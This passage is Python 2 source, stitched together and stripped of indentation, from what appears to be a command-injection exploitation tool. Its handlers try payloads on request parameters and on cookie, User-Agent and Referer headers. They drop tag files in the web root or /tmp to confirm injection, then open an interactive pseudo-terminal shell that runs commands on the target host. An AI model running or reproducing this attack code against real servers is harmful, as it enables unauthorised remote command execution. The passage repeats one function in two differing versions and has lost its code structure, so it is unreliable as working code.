the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", re.sub("%2B", "+",
payload)) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n(?) Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOISE_YES:
cb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
cb_enumeration.do_check(separator, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter,
alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
"(?) Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOISE_YES:
if not menu.options.verbose:
print ""
cb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
cb_file_access.do_check(separator, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter,
alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
cb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input(
"(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > "
).lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower(
) in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.check_next_attack_vector(
technique,
go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
# Command execution results.
response = cb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate injection results.
shell = cb_injector.injection_results(
response, TAG)
if shell:
shell = "".join(
str(p) for p in shell)
html_parser = HTMLParser.HTMLParser(
)
shell = html_parser.unescape(
shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if checks.check_next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method,
url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
export_injection_info = False
injection_type = "Semiblind Command Injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(
r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[
0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.",
settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace(
"/", "\\")
if not menu.options.verbose:
print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
else:
print "(*) Testing the " + technique + "... "
i = 0
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(
settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase) for i in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG,
OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
print Fore.GREY + "(~) Payload: " + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(
shell
) != 0 and shell == TAG and not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique +
"... [ " + percent + " ]")
sys.stdout.flush()
if len(shell) == 0:
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#if menu.options.verbose:
#print ""
raise urllib2.HTTPError(url, 404, 'Error', {},
None)
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename,
tmp_path, http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True:
if not menu.options.verbose:
print ""
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
while True:
tmp_upload = raw_input(
"(?) Do you want to try the temporary directory ("
+ tmp_path + ") [Y/n/q] > ").lower()
if tmp_upload in settings.CHOISE_YES:
exit_loops = True
call_tfb = tfb_controller(
no_result, url, delay, filename,
tmp_path, http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOISE_NO:
break
elif tmp_upload in settings.CHOISE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
pass
continue
else:
if exit_loops == False:
if not menu.options.verbose:
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(
float_percent) + "%"
else:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... [ " +
percent + " ]")
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
sys.exit(0)
elif e.getcode() == 403:
print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
else:
pass
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
# print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
def do_check(url, filename):
classic_state = False
eval_based_state = False
time_based_state = False
file_based_state = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process()
# Check if authentication page is the same with the next (injection) URL
if urllib2.urlopen(url).read() == urllib2.urlopen(menu.options.auth_url).read():
print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
sys.exit(0)
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET or POST.
header_name = ""
if not menu.options.data:
http_request_method = "GET"
if not settings.COOKIE_INJECTION \
and not settings.USER_AGENT_INJECTION \
and not settings.REFERER_INJECTION:
url = parameters.do_GET_check(url)
check_parameter = parameters.vuln_GET_param(url)
the_type = " parameter "
else:
http_request_method = "POST"
parameter = menu.options.data
parameter = parameters.do_POST_check(parameter)
check_parameter = parameters.vuln_POST_param(parameter, url)
the_type = " parameter "
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
settings.HTTP_HEADER = header_name[1:].lower()
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
the_type = " HTTP header "
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
settings.HTTP_HEADER = header_name[1:].replace("-","").lower()
check_parameter = ""
the_type = " HTTP header "
# Referer Injection
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
settings.HTTP_HEADER = header_name[1:].lower()
check_parameter = ""
the_type = " HTTP header "
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check for session file
if not menu.options.ignore_session:
if os.path.isfile(settings.SESSION_FILE):
if not menu.options.tech:
menu.options.tech = session_handler.applied_techniques(url, http_request_method)
if session_handler.check_stored_parameter(url, http_request_method):
settings.LOAD_SESSION = True
if menu.options.flush_session:
session_handler.flush(url)
if len(check_parameter) != 0 :
check_parameter = " '" + check_parameter + "'"
print settings.INFO_SIGN + "Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."
# Estimating the response time (in seconds)
delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay)
# Check if it is vulnerable to classic command injection technique.
if not menu.options.tech or "c" in menu.options.tech:
if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
classic_state = True
else:
classic_state = False
# Check if it is vulnerable to eval-based code injection technique.
if not menu.options.tech or "e" in menu.options.tech:
if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
eval_based_state = True
else:
eval_based_state = False
# Check if it is vulnerable to time-based blind command injection technique.
if not menu.options.tech or "t" in menu.options.tech:
if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
time_based_state = True
else:
time_based_state = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if not menu.options.tech or "f" in menu.options.tech:
if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
file_based_state = True
else:
file_based_state = False
if classic_state == eval_based_state == time_based_state == file_based_state == False :
info_msg = settings.CRITICAL_SIGN + "The tested (" + http_request_method + ")" + check_parameter + " parameter appear to be not injectable."
if not menu.options.alter_shell :
info_msg += " Use the option '--alter-shell'"
else:
info_msg += " Remove the option '--alter-shell'"
info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
print Back.RED + info_msg + Style.RESET_ALL
sys.exit(0)
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
print Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay):
# Time relative false positive fixation.
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell)
if str(output) == str(randvcalc):
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
else:
percent = str(percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
percent = ((num_of_chars * 100) / total)
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(percent)+"%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response <= 1 and how_long >= delay) or \
(url_time_response >= 2 and how_long > delay) :
if len(TAG) == output_length:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check for any enumeration options.
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Check if defined single cmd.
if menu.options.os_cmd:
tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd == "?":
menu.shell_options()
continue
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
failed_tries = 20
vp_flag = True
exit_loops = False
no_result = True
is_encoded= False
stop_injection = False
call_tmp_based = False
export_injection_info = False
injection_type = "Semiblind-based Command Injection"
technique = "file-based semiblind injection technique"
# Set temp path
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
print "(*) Testing the "+ technique + "... "
if menu.options.file_dest:
if '/tmp/' in menu.options.file_dest:
call_tmp_based = True
SRV_ROOT_DIR = os.path.split(menu.options.file_dest)[0]
else:
if menu.options.srv_root_dir:
SRV_ROOT_DIR = menu.options.srv_root_dir
else:
SRV_ROOT_DIR = settings.SRV_ROOT_DIR
i = 0
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
path = url
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
output = url.replace(last_param, OUTPUT_TEXTFILE)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
sys.stdout.write("\r(*) Trying to upload the '"+ OUTPUT_TEXTFILE +"' on " + SRV_ROOT_DIR + "... [ " + percent + " ]")
sys.stdout.flush()
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i*100)/total)
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after 20 failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == failed_tries :
if not menu.options.verbose:
print ""
print Back.RED + "(x) Error: It seems that you don't have permissions to write on "+ SRV_ROOT_DIR + "." + Style.RESET_ALL
while True:
tmp_upload = raw_input("(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > ").lower()
if tmp_upload in settings.CHOISE_YES:
exit_loops = True
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if no_result == True:
return False
elif tmp_upload in settings.CHOISE_NO:
break
else:
if tmp_upload == "":
tmp_upload = "enter"
print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
pass
continue
else:
if exit_loops == False:
if not menu.options.verbose:
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
else:
percent = str(percent)+"%"
sys.stdout.write("\r(*) Trying to upload the '"+ OUTPUT_TEXTFILE +"' on " + SRV_ROOT_DIR + "... [ " + percent + " ]")
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
sys.exit(0)
elif e.getcode() == 403:
print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
raise
except urllib2.URLError, e:
#print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
sys.exit(0)
except:
continue
def cb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "results-based OS command injection"
technique = "classic command injection technique"
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print ""
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if whitespace == " ":
whitespace = urllib.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.CLASSIC_STATE = True
